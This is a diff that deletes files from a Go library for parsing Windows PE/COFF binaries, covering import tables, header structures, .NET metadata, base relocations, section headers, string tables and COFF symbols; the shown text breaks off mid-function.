// It does not return weak symbols.
|
||||
func (f *File) ImportedSymbols() ([]string, error) {
|
||||
pe64 := f.Machine == IMAGE_FILE_MACHINE_AMD64
|
||||
|
||||
// grab the number of data directory entries
|
||||
var ddLength uint32
|
||||
if pe64 {
|
||||
ddLength = f.OptionalHeader.(*OptionalHeader64).NumberOfRvaAndSizes
|
||||
} else {
|
||||
ddLength = f.OptionalHeader.(*OptionalHeader32).NumberOfRvaAndSizes
|
||||
}
|
||||
|
||||
// check that the length of data directory entries is large
|
||||
// enough to include the imports directory.
|
||||
if ddLength < IMAGE_DIRECTORY_ENTRY_IMPORT+1 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// grab the import data directory entry
|
||||
var idd DataDirectory
|
||||
if pe64 {
|
||||
idd = f.OptionalHeader.(*OptionalHeader64).DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
|
||||
} else {
|
||||
idd = f.OptionalHeader.(*OptionalHeader32).DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
|
||||
}
|
||||
|
||||
// figure out which section contains the import directory table
|
||||
var ds *Section
|
||||
ds = nil
|
||||
for _, s := range f.Sections {
|
||||
if s.VirtualAddress <= idd.VirtualAddress && idd.VirtualAddress < s.VirtualAddress+s.VirtualSize {
|
||||
ds = s
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// didn't find a section, so no import libraries were found
|
||||
if ds == nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
sectionData, err := ds.Data()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// seek to the virtual address specified in the import data directory
|
||||
d := sectionData[idd.VirtualAddress-ds.VirtualAddress:]
|
||||
|
||||
// start decoding the import directory
|
||||
var ida []ImportDirectory
|
||||
for len(d) > 0 {
|
||||
var dt ImportDirectory
|
||||
dt.OriginalFirstThunk = binary.LittleEndian.Uint32(d[0:4])
|
||||
dt.TimeDateStamp = binary.LittleEndian.Uint32(d[4:8])
|
||||
dt.ForwarderChain = binary.LittleEndian.Uint32(d[8:12])
|
||||
dt.NameRVA = binary.LittleEndian.Uint32(d[12:16])
|
||||
dt.FirstThunk = binary.LittleEndian.Uint32(d[16:20])
|
||||
d = d[20:]
|
||||
if dt.OriginalFirstThunk == 0 {
|
||||
break
|
||||
}
|
||||
ida = append(ida, dt)
|
||||
}
|
||||
var all []string
|
||||
for _, dt := range ida {
|
||||
dt.DllName, _ = getString(sectionData, int(dt.NameRVA-ds.VirtualAddress))
|
||||
d = sectionData[:]
|
||||
// seek to OriginalFirstThunk
|
||||
d = d[dt.OriginalFirstThunk-ds.VirtualAddress:]
|
||||
for len(d) > 0 {
|
||||
if pe64 { // 64bit
|
||||
va := binary.LittleEndian.Uint64(d[0:8])
|
||||
d = d[8:]
|
||||
if va == 0 {
|
||||
break
|
||||
}
|
||||
if va&0x8000000000000000 > 0 { // is Ordinal
|
||||
// TODO add dynimport ordinal support.
|
||||
} else {
|
||||
fn, _ := getString(sectionData, int(uint32(va)-ds.VirtualAddress+2))
|
||||
all = append(all, fn+":"+dt.DllName)
|
||||
}
|
||||
} else { // 32bit
|
||||
va := binary.LittleEndian.Uint32(d[0:4])
|
||||
d = d[4:]
|
||||
if va == 0 {
|
||||
break
|
||||
}
|
||||
if va&0x80000000 > 0 { // is Ordinal
|
||||
// TODO add dynimport ordinal support.
|
||||
//ord := va&0x0000FFFF
|
||||
} else {
|
||||
fn, _ := getString(sectionData, int(va-ds.VirtualAddress+2))
|
||||
all = append(all, fn+":"+dt.DllName)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return all, nil
|
||||
}
|
||||
|
||||
// ImportedLibraries returns the names of all libraries
|
||||
// referred to by the binary f that are expected to be
|
||||
// linked with the binary at dynamic link time.
|
||||
func (f *File) ImportedLibraries() ([]string, error) {
|
||||
|
||||
pe64 := f.Machine == IMAGE_FILE_MACHINE_AMD64
|
||||
|
||||
// grab the number of data directory entries
|
||||
var ddLength uint32
|
||||
if pe64 {
|
||||
ddLength = f.OptionalHeader.(*OptionalHeader64).NumberOfRvaAndSizes
|
||||
} else {
|
||||
ddLength = f.OptionalHeader.(*OptionalHeader32).NumberOfRvaAndSizes
|
||||
}
|
||||
|
||||
// check that the length of data directory entries is large
|
||||
// enough to include the imports directory.
|
||||
if ddLength < IMAGE_DIRECTORY_ENTRY_IMPORT+1 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// grab the import data directory entry
|
||||
var idd DataDirectory
|
||||
if pe64 {
|
||||
idd = f.OptionalHeader.(*OptionalHeader64).DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
|
||||
} else {
|
||||
idd = f.OptionalHeader.(*OptionalHeader32).DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
|
||||
}
|
||||
|
||||
// figure out which section contains the import directory table
|
||||
var ds *Section
|
||||
ds = nil
|
||||
for _, s := range f.Sections {
|
||||
if s.VirtualAddress <= idd.VirtualAddress && idd.VirtualAddress < s.VirtualAddress+s.VirtualSize {
|
||||
ds = s
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// didn't find a section, so no import libraries were found
|
||||
if ds == nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
sectionData, err := ds.Data()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// seek to the virtual address specified in the import data directory
|
||||
d := sectionData[idd.VirtualAddress-ds.VirtualAddress:]
|
||||
|
||||
// start decoding the import directory
|
||||
var ida []ImportDirectory
|
||||
for len(d) > 0 {
|
||||
var dt ImportDirectory
|
||||
dt.OriginalFirstThunk = binary.LittleEndian.Uint32(d[0:4])
|
||||
dt.TimeDateStamp = binary.LittleEndian.Uint32(d[4:8])
|
||||
dt.ForwarderChain = binary.LittleEndian.Uint32(d[8:12])
|
||||
dt.NameRVA = binary.LittleEndian.Uint32(d[12:16])
|
||||
dt.FirstThunk = binary.LittleEndian.Uint32(d[16:20])
|
||||
d = d[20:]
|
||||
if dt.OriginalFirstThunk == 0 {
|
||||
break
|
||||
}
|
||||
ida = append(ida, dt)
|
||||
}
|
||||
var all []string
|
||||
for _, dt := range ida {
|
||||
dt.DllName, _ = getString(sectionData, int(dt.NameRVA-ds.VirtualAddress))
|
||||
all = append(all, dt.DllName)
|
||||
}
|
||||
|
||||
return all, nil
|
||||
}
|
||||
-69
@@ -1,69 +0,0 @@
|
||||
package pe
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"io"
|
||||
)
|
||||
|
||||
type IMAGE_COR20_HEADER struct {
|
||||
Cb uint32
|
||||
MajorRuntimeVersion uint16
|
||||
MinorRuntimeVersion uint16
|
||||
MetaDataRVA, MetaDataSize uint32
|
||||
Flags uint32 //todo: define flags
|
||||
EntryPointToken uint32
|
||||
ResourcesRVA, ResourcesSize,
|
||||
StrongNameSignatureRVA, StrongNameSignatureSize,
|
||||
CodeManagerTableRVA, CodeManagerTableSize,
|
||||
VTableFixupsRVA, VTableFixupsSize,
|
||||
ExportAddressTableJumpsRVA, ExportAddressTableJumpsSize,
|
||||
ManagedNativeHeaderRVA, ManagedNativeHeaderSize uint32
|
||||
}
|
||||
|
||||
//Net provides a public interface for getting at some net info.
|
||||
type Net struct {
|
||||
NetDirectory IMAGE_COR20_HEADER //Net directory information
|
||||
MetaData NetMetaData //MetaData Header
|
||||
}
|
||||
|
||||
type NetMetaData struct {
|
||||
Signature [4]byte //should be 0x424a4542
|
||||
MajorVersion uint16
|
||||
MinorVersion uint16
|
||||
Reserved uint32
|
||||
VersionLength uint32
|
||||
VersionString []byte
|
||||
Flags uint16 //todo: define flags betterer
|
||||
NumberOfStreams uint16
|
||||
}
|
||||
|
||||
func newMetadataHeader(i io.Reader) (NetMetaData, error) {
|
||||
r := NetMetaData{}
|
||||
|
||||
//todo: error checks/sanity checks
|
||||
binary.Read(i, binary.LittleEndian, &r.Signature)
|
||||
binary.Read(i, binary.LittleEndian, &r.MajorVersion)
|
||||
binary.Read(i, binary.LittleEndian, &r.MinorVersion)
|
||||
binary.Read(i, binary.LittleEndian, &r.Reserved)
|
||||
|
||||
// it appears that this value is terminated by two nulls.. that might be important at some point
|
||||
binary.Read(i, binary.LittleEndian, &r.VersionLength)
|
||||
r.VersionString = make([]byte, r.VersionLength)
|
||||
i.Read(r.VersionString)
|
||||
|
||||
binary.Read(i, binary.LittleEndian, r.Flags)
|
||||
|
||||
return r, nil
|
||||
}
|
||||
|
||||
//NetCLRVersion returns the CLR version specified by the binary. Returns an empty string if not a net binary. String has had trailing nulls stripped.
|
||||
func (f File) NetCLRVersion() string {
|
||||
b := f.Net.MetaData.VersionString
|
||||
for i, x := range b {
|
||||
if x == 0x00 {
|
||||
b = b[:i]
|
||||
break
|
||||
}
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
-153
@@ -1,153 +0,0 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package pe
|
||||
|
||||
type DosHeader struct {
|
||||
MZSignature uint16
|
||||
UsedBytesInTheLastPage uint16
|
||||
FileSizeInPages uint16
|
||||
NumberOfRelocationItems uint16
|
||||
HeaderSizeInParagraphs uint16
|
||||
MinimumExtraParagraphs uint16
|
||||
MaximumExtraParagraphs uint16
|
||||
InitialRelativeSS uint16
|
||||
InitialSP uint16
|
||||
CheckSum uint16
|
||||
InitialIP uint16
|
||||
InitialRelativeCS uint16
|
||||
AddressOfRelocationTable uint16
|
||||
OverlayNumber uint16
|
||||
Reserved [4]uint16
|
||||
OEMid uint16
|
||||
OEMinfo uint16
|
||||
Reserved2 [10]uint16
|
||||
AddressOfNewExeHeader uint32
|
||||
}
|
||||
|
||||
type FileHeader struct {
|
||||
Machine uint16
|
||||
NumberOfSections uint16
|
||||
TimeDateStamp uint32
|
||||
PointerToSymbolTable uint32
|
||||
NumberOfSymbols uint32
|
||||
SizeOfOptionalHeader uint16
|
||||
Characteristics uint16
|
||||
}
|
||||
|
||||
type DataDirectory struct {
|
||||
VirtualAddress uint32
|
||||
Size uint32
|
||||
}
|
||||
|
||||
type OptionalHeader32 struct {
|
||||
Magic uint16
|
||||
MajorLinkerVersion uint8
|
||||
MinorLinkerVersion uint8
|
||||
SizeOfCode uint32
|
||||
SizeOfInitializedData uint32
|
||||
SizeOfUninitializedData uint32
|
||||
AddressOfEntryPoint uint32
|
||||
BaseOfCode uint32
|
||||
BaseOfData uint32
|
||||
ImageBase uint32
|
||||
SectionAlignment uint32
|
||||
FileAlignment uint32
|
||||
MajorOperatingSystemVersion uint16
|
||||
MinorOperatingSystemVersion uint16
|
||||
MajorImageVersion uint16
|
||||
MinorImageVersion uint16
|
||||
MajorSubsystemVersion uint16
|
||||
MinorSubsystemVersion uint16
|
||||
Win32VersionValue uint32
|
||||
SizeOfImage uint32
|
||||
SizeOfHeaders uint32
|
||||
CheckSum uint32
|
||||
Subsystem uint16
|
||||
DllCharacteristics uint16
|
||||
SizeOfStackReserve uint32
|
||||
SizeOfStackCommit uint32
|
||||
SizeOfHeapReserve uint32
|
||||
SizeOfHeapCommit uint32
|
||||
LoaderFlags uint32
|
||||
NumberOfRvaAndSizes uint32
|
||||
DataDirectory [16]DataDirectory
|
||||
}
|
||||
|
||||
type OptionalHeader64 struct {
|
||||
Magic uint16
|
||||
MajorLinkerVersion uint8
|
||||
MinorLinkerVersion uint8
|
||||
SizeOfCode uint32
|
||||
SizeOfInitializedData uint32
|
||||
SizeOfUninitializedData uint32
|
||||
AddressOfEntryPoint uint32
|
||||
BaseOfCode uint32
|
||||
ImageBase uint64
|
||||
SectionAlignment uint32
|
||||
FileAlignment uint32
|
||||
MajorOperatingSystemVersion uint16
|
||||
MinorOperatingSystemVersion uint16
|
||||
MajorImageVersion uint16
|
||||
MinorImageVersion uint16
|
||||
MajorSubsystemVersion uint16
|
||||
MinorSubsystemVersion uint16
|
||||
Win32VersionValue uint32
|
||||
SizeOfImage uint32
|
||||
SizeOfHeaders uint32
|
||||
CheckSum uint32
|
||||
Subsystem uint16
|
||||
DllCharacteristics uint16
|
||||
SizeOfStackReserve uint64
|
||||
SizeOfStackCommit uint64
|
||||
SizeOfHeapReserve uint64
|
||||
SizeOfHeapCommit uint64
|
||||
LoaderFlags uint32
|
||||
NumberOfRvaAndSizes uint32
|
||||
DataDirectory [16]DataDirectory
|
||||
}
|
||||
|
||||
const (
|
||||
IMAGE_FILE_MACHINE_UNKNOWN = 0x0
|
||||
IMAGE_FILE_MACHINE_AM33 = 0x1d3
|
||||
IMAGE_FILE_MACHINE_AMD64 = 0x8664
|
||||
IMAGE_FILE_MACHINE_ARM = 0x1c0
|
||||
IMAGE_FILE_MACHINE_ARMNT = 0x1c4
|
||||
IMAGE_FILE_MACHINE_ARM64 = 0xaa64
|
||||
IMAGE_FILE_MACHINE_EBC = 0xebc
|
||||
IMAGE_FILE_MACHINE_I386 = 0x14c
|
||||
IMAGE_FILE_MACHINE_IA64 = 0x200
|
||||
IMAGE_FILE_MACHINE_M32R = 0x9041
|
||||
IMAGE_FILE_MACHINE_MIPS16 = 0x266
|
||||
IMAGE_FILE_MACHINE_MIPSFPU = 0x366
|
||||
IMAGE_FILE_MACHINE_MIPSFPU16 = 0x466
|
||||
IMAGE_FILE_MACHINE_POWERPC = 0x1f0
|
||||
IMAGE_FILE_MACHINE_POWERPCFP = 0x1f1
|
||||
IMAGE_FILE_MACHINE_R4000 = 0x166
|
||||
IMAGE_FILE_MACHINE_SH3 = 0x1a2
|
||||
IMAGE_FILE_MACHINE_SH3DSP = 0x1a3
|
||||
IMAGE_FILE_MACHINE_SH4 = 0x1a6
|
||||
IMAGE_FILE_MACHINE_SH5 = 0x1a8
|
||||
IMAGE_FILE_MACHINE_THUMB = 0x1c2
|
||||
IMAGE_FILE_MACHINE_WCEMIPSV2 = 0x169
|
||||
)
|
||||
|
||||
// IMAGE_DIRECTORY_ENTRY constants
|
||||
const (
|
||||
IMAGE_DIRECTORY_ENTRY_EXPORT = 0
|
||||
IMAGE_DIRECTORY_ENTRY_IMPORT = 1
|
||||
IMAGE_DIRECTORY_ENTRY_RESOURCE = 2
|
||||
IMAGE_DIRECTORY_ENTRY_EXCEPTION = 3
|
||||
IMAGE_DIRECTORY_ENTRY_SECURITY = 4
|
||||
IMAGE_DIRECTORY_ENTRY_BASERELOC = 5
|
||||
IMAGE_DIRECTORY_ENTRY_DEBUG = 6
|
||||
IMAGE_DIRECTORY_ENTRY_ARCHITECTURE = 7
|
||||
IMAGE_DIRECTORY_ENTRY_GLOBALPTR = 8
|
||||
IMAGE_DIRECTORY_ENTRY_TLS = 9
|
||||
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = 10
|
||||
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT = 11
|
||||
IMAGE_DIRECTORY_ENTRY_IAT = 12
|
||||
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = 13
|
||||
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = 14
|
||||
)
|
||||
-171
@@ -1,171 +0,0 @@
|
||||
package pe
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
// RelocationTable - for base relocation entries
|
||||
type RelocationTableEntry struct {
|
||||
RelocationBlock
|
||||
BlockItems []BlockItem
|
||||
}
|
||||
|
||||
// RelocationBlock - for base relocation entries
|
||||
type RelocationBlock struct {
|
||||
VirtualAddress uint32
|
||||
SizeOfBlock uint32
|
||||
}
|
||||
|
||||
// BlockItem - relocation block item
|
||||
type BlockItem struct {
|
||||
Type byte // 4 bits
|
||||
Offset uint16 // 12 bits
|
||||
}
|
||||
|
||||
// Reloc represents a PE COFF relocation.
|
||||
// Each section contains its own relocation list.
|
||||
type Reloc struct {
|
||||
VirtualAddress uint32
|
||||
SymbolTableIndex uint32
|
||||
Type uint16
|
||||
}
|
||||
|
||||
const (
|
||||
//IMAGE_REL_BASED_ABSOLUTE - The base relocation is skipped. This type can be used to pad a block.
|
||||
IMAGE_REL_BASED_ABSOLUTE = 0
|
||||
|
||||
//IMAGE_REL_BASED_HIGH = 1
|
||||
//IMAGE_REL_BASED_LOW = 2
|
||||
|
||||
//IMAGE_REL_BASED_HIGHLOW - The base relocation applies all 32 bits of the difference to the 32-bit field at offset.
|
||||
IMAGE_REL_BASED_HIGHLOW = 3
|
||||
|
||||
//IMAGE_REL_BASED_HIGHADJ = 4
|
||||
//IMAGE_REL_BASED_MIPS_JMPADDR = 5
|
||||
//IMAGE_REL_BASED_ARM_MOV32 = 5
|
||||
//IMAGE_REL_BASED_RISCV_HIGH20 = 5
|
||||
//IMAGE_REL_BASED_THUMB_MOV32 = 7
|
||||
//IMAGE_REL_BASED_RISCV_LOW12I = 7
|
||||
//IMAGE_REL_BASED_RISCV_LOW12S = 8
|
||||
//IMAGE_REL_BASED_MIPS_JMPADDR16 = 9
|
||||
IMAGE_REL_BASED_DIR64 = 10
|
||||
)
|
||||
|
||||
// readBaseRelocationTable - reads the base relocation table from the file and stores it
|
||||
func (f *File) readBaseRelocationTable() (*[]RelocationTableEntry, error) {
|
||||
|
||||
if f.OptionalHeader == nil { // Optional header is optional, might not exist
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
var dd DataDirectory
|
||||
if f.Machine == IMAGE_FILE_MACHINE_AMD64 {
|
||||
dd = f.OptionalHeader.(*OptionalHeader64).DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]
|
||||
} else {
|
||||
dd = f.OptionalHeader.(*OptionalHeader32).DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]
|
||||
}
|
||||
var sectionData []byte
|
||||
var err error
|
||||
for _, section := range f.Sections {
|
||||
if section.VirtualAddress == dd.VirtualAddress {
|
||||
sectionData, err = section.Data()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
r := bytes.NewReader(sectionData)
|
||||
var reloBlocks []RelocationTableEntry
|
||||
bytesRead := uint32(0)
|
||||
for bytesRead < dd.Size {
|
||||
var reloBlock RelocationBlock
|
||||
err = binary.Read(r, binary.LittleEndian, &reloBlock)
|
||||
bytesRead += 8
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to read relocation block: %v", err)
|
||||
}
|
||||
numBlocks := (reloBlock.SizeOfBlock - 8) / 2
|
||||
blocks := make([]BlockItem, numBlocks)
|
||||
for i := uint32(0); i < numBlocks; i++ {
|
||||
var buf [2]byte
|
||||
err = binary.Read(r, binary.LittleEndian, &buf)
|
||||
bytesRead += 2
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to read relocation block item %d: %v", i, err)
|
||||
}
|
||||
var item BlockItem
|
||||
val := binary.LittleEndian.Uint16(buf[:2])
|
||||
item.Type = byte(val >> 12)
|
||||
item.Offset = val & 0x0fff
|
||||
blocks[i] = item
|
||||
}
|
||||
reloBlocks = append(reloBlocks, RelocationTableEntry{reloBlock, blocks})
|
||||
}
|
||||
return &reloBlocks, nil
|
||||
}
|
||||
|
||||
// Relocate - performs base relocations on this image to the given offset
|
||||
func (f *File) Relocate(baseAddr uint64, image *[]byte) {
|
||||
var imageBase uint64
|
||||
pe64 := f.Machine == IMAGE_FILE_MACHINE_AMD64
|
||||
if pe64 {
|
||||
imageBase = f.OptionalHeader.(*OptionalHeader64).ImageBase
|
||||
} else {
|
||||
imageBase = uint64(f.OptionalHeader.(*OptionalHeader32).ImageBase)
|
||||
}
|
||||
for _, block := range *f.BaseRelocationTable {
|
||||
pageRVA := block.VirtualAddress
|
||||
for _, item := range block.BlockItems {
|
||||
if item.Type == IMAGE_REL_BASED_HIGHLOW { // 32 bit
|
||||
delta := uint32(baseAddr - imageBase)
|
||||
fileOffset := f.RVAToFileOffset(pageRVA)
|
||||
idx := fileOffset + uint32(item.Offset)
|
||||
originalAddress := binary.LittleEndian.Uint32((*image)[idx : idx+4])
|
||||
b := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(b, originalAddress+delta)
|
||||
copy((*image)[idx:idx+4], b)
|
||||
} else if item.Type == IMAGE_REL_BASED_DIR64 { // 64 bit
|
||||
delta := baseAddr - imageBase
|
||||
fileOffset := f.RVAToFileOffset(pageRVA)
|
||||
idx := fileOffset + uint32(item.Offset)
|
||||
originalAddress := binary.LittleEndian.Uint64((*image)[idx : idx+8])
|
||||
b := make([]byte, 8)
|
||||
binary.LittleEndian.PutUint64(b, originalAddress+delta)
|
||||
copy((*image)[idx:idx+8], b)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// update imageBase in the optional header
|
||||
if pe64 {
|
||||
b := make([]byte, 8)
|
||||
binary.LittleEndian.PutUint64(b, baseAddr)
|
||||
idx := f.OptionalHeaderOffset + 24
|
||||
copy((*image)[idx:idx+8], b)
|
||||
} else {
|
||||
b := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(b, uint32(baseAddr))
|
||||
idx := f.OptionalHeaderOffset + 28
|
||||
copy((*image)[idx:idx+4], b)
|
||||
}
|
||||
}
|
||||
|
||||
func readRelocs(sh *SectionHeader, r io.ReadSeeker) ([]Reloc, error) {
|
||||
if sh.NumberOfRelocations <= 0 {
|
||||
return nil, nil
|
||||
}
|
||||
_, err := r.Seek(int64(sh.PointerToRelocations), seekStart)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to seek to %q section relocations: %v", sh.Name, err)
|
||||
}
|
||||
relocs := make([]Reloc, sh.NumberOfRelocations)
|
||||
err = binary.Read(r, binary.LittleEndian, relocs)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to read section relocations: %v", err)
|
||||
}
|
||||
return relocs, nil
|
||||
}
|
||||
-103
@@ -1,103 +0,0 @@
|
||||
// Copyright 2016 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package pe
|
||||
|
||||
import (
|
||||
"io"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
// SectionHeader32 represents real PE COFF section header.
|
||||
type SectionHeader32 struct {
|
||||
Name [8]uint8
|
||||
VirtualSize uint32
|
||||
VirtualAddress uint32
|
||||
SizeOfRawData uint32
|
||||
PointerToRawData uint32
|
||||
PointerToRelocations uint32
|
||||
PointerToLineNumbers uint32
|
||||
NumberOfRelocations uint16
|
||||
NumberOfLineNumbers uint16
|
||||
Characteristics uint32
|
||||
}
|
||||
|
||||
// fullName finds real name of section sh. Normally name is stored
|
||||
// in sh.Name, but if it is longer then 8 characters, it is stored
|
||||
// in COFF string table st instead.
|
||||
func (sh *SectionHeader32) fullName(st StringTable) (string, error) {
|
||||
if sh.Name[0] != '/' {
|
||||
return cstring(sh.Name[:]), nil
|
||||
}
|
||||
i, err := strconv.Atoi(cstring(sh.Name[1:]))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return st.String(uint32(i))
|
||||
}
|
||||
|
||||
// SectionHeader is similar to SectionHeader32 with Name
|
||||
// field replaced by Go string. OriginalName is the
|
||||
// original name of the section on disk.
|
||||
type SectionHeader struct {
|
||||
Name string
|
||||
OriginalName [8]uint8
|
||||
VirtualSize uint32
|
||||
VirtualAddress uint32
|
||||
Size uint32
|
||||
Offset uint32
|
||||
PointerToRelocations uint32
|
||||
PointerToLineNumbers uint32
|
||||
NumberOfRelocations uint16
|
||||
NumberOfLineNumbers uint16
|
||||
Characteristics uint32
|
||||
}
|
||||
|
||||
// Section provides access to PE COFF section.
|
||||
type Section struct {
|
||||
SectionHeader
|
||||
Relocs []Reloc
|
||||
|
||||
// Embed ReaderAt for ReadAt method.
|
||||
// Do not embed SectionReader directly
|
||||
// to avoid having Read and Seek.
|
||||
// If a client wants Read and Seek it must use
|
||||
// Open() to avoid fighting over the seek offset
|
||||
// with other clients.
|
||||
io.ReaderAt
|
||||
sr *io.SectionReader
|
||||
}
|
||||
|
||||
// Data reads and returns the contents of the PE section s.
|
||||
func (s *Section) Data() ([]byte, error) {
|
||||
|
||||
if s.sr == nil { // This section was added from code, the internal SectionReader is nil
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
dat := make([]byte, s.sr.Size())
|
||||
n, err := s.sr.ReadAt(dat, 0)
|
||||
if n == len(dat) {
|
||||
err = nil
|
||||
}
|
||||
return dat[0:n], err
|
||||
}
|
||||
|
||||
// Open returns a new ReadSeeker reading the PE section s.
|
||||
func (s *Section) Open() io.ReadSeeker {
|
||||
return io.NewSectionReader(s.sr, 0, 1<<63-1)
|
||||
}
|
||||
|
||||
// Section Flags (Characteristics field)
|
||||
const (
|
||||
IMAGE_SCN_CNT_CODE = 0x00000020 // Section contains code
|
||||
IMAGE_SCN_MEM_EXECUTE = 0x20000000 // Section is executable
|
||||
IMAGE_SCN_MEM_READ = 0x40000000 // Section is readable
|
||||
|
||||
IMAGE_FILE_RELOCS_STRIPPED = 0x0001 // Relocation info stripped from file
|
||||
|
||||
IMAGE_DLLCHARACTERISTICS_NX_COMPAT = 0x0100 // Image is NX compatable
|
||||
|
||||
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE = 0x0040 // DLL can move
|
||||
)
|
||||
-70
@@ -1,70 +0,0 @@
|
||||
// Copyright 2016 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package pe
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
// cstring converts ASCII byte sequence b to string.
|
||||
// It stops once it finds 0 or reaches end of b.
|
||||
func cstring(b []byte) string {
|
||||
i := bytes.IndexByte(b, 0)
|
||||
if i == -1 {
|
||||
i = len(b)
|
||||
}
|
||||
return string(b[:i])
|
||||
}
|
||||
|
||||
// StringTable is a COFF string table.
|
||||
type StringTable []byte
|
||||
|
||||
func readStringTable(fh *FileHeader, r io.ReadSeeker) (StringTable, error) {
|
||||
// COFF string table is located right after COFF symbol table.
|
||||
if fh.PointerToSymbolTable <= 0 {
|
||||
return nil, nil
|
||||
}
|
||||
offset := fh.PointerToSymbolTable + COFFSymbolSize*fh.NumberOfSymbols
|
||||
_, err := r.Seek(int64(offset), seekStart)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to seek to string table: %v", err)
|
||||
}
|
||||
var l uint32
|
||||
err = binary.Read(r, binary.LittleEndian, &l)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to read string table length: %v", err)
|
||||
}
|
||||
// string table length includes itself
|
||||
if l <= 4 {
|
||||
return nil, nil
|
||||
}
|
||||
l -= 4
|
||||
buf := make([]byte, l)
|
||||
_, err = io.ReadFull(r, buf)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to read string table: %v", err)
|
||||
}
|
||||
// re-add the length to the first four bytes of the string table
|
||||
lbuf := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(lbuf, l)
|
||||
|
||||
return StringTable(append(lbuf, buf...)), nil
|
||||
}
|
||||
|
||||
// String extracts string from COFF string table st at offset start.
|
||||
func (st StringTable) String(start uint32) (string, error) {
|
||||
// start includes 4 bytes of string table length
|
||||
if start < 4 {
|
||||
return "", fmt.Errorf("offset %d is before the start of string table", start)
|
||||
}
|
||||
//start -= 4 // we are now including the uint32 length in the StringTable buffer as a prefix, this might change
|
||||
if int(start) > len(st) {
|
||||
return "", fmt.Errorf("offset %d is beyond the end of string table", start)
|
||||
}
|
||||
return cstring(st[start:]), nil
|
||||
}
|
||||
-98
@@ -1,98 +0,0 @@
|
||||
// Copyright 2016 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package pe
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
const COFFSymbolSize = 18
|
||||
|
||||
// COFFSymbol represents single COFF symbol table record.
|
||||
type COFFSymbol struct {
|
||||
Name [8]uint8
|
||||
Value uint32
|
||||
SectionNumber int16
|
||||
Type uint16
|
||||
StorageClass uint8
|
||||
NumberOfAuxSymbols uint8
|
||||
}
|
||||
|
||||
func readCOFFSymbols(fh *FileHeader, r io.ReadSeeker) ([]COFFSymbol, error) {
|
||||
if fh.PointerToSymbolTable == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
if fh.NumberOfSymbols <= 0 {
|
||||
return nil, nil
|
||||
}
|
||||
_, err := r.Seek(int64(fh.PointerToSymbolTable), seekStart)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to seek to symbol table: %v", err)
|
||||
}
|
||||
syms := make([]COFFSymbol, fh.NumberOfSymbols)
|
||||
err = binary.Read(r, binary.LittleEndian, syms)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to read symbol table: %v", err)
|
||||
}
|
||||
return syms, nil
|
||||
}
|
||||
|
||||
// isSymNameOffset checks symbol name if it is encoded as offset into string table.
|
||||
func isSymNameOffset(name [8]byte) (bool, uint32) {
|
||||
if name[0] == 0 && name[1] == 0 && name[2] == 0 && name[3] == 0 {
|
||||
return true, binary.LittleEndian.Uint32(name[4:])
|
||||
}
|
||||
return false, 0
|
||||
}
|
||||
|
||||
// FullName finds real name of symbol sym. Normally name is stored
|
||||
// in sym.Name, but if it is longer then 8 characters, it is stored
|
||||
// in COFF string table st instead.
|
||||
func (sym *COFFSymbol) FullName(st StringTable) (string, error) {
|
||||
if ok, offset := isSymNameOffset(sym.Name); ok {
|
||||
return st.String(offset)
|
||||
}
|
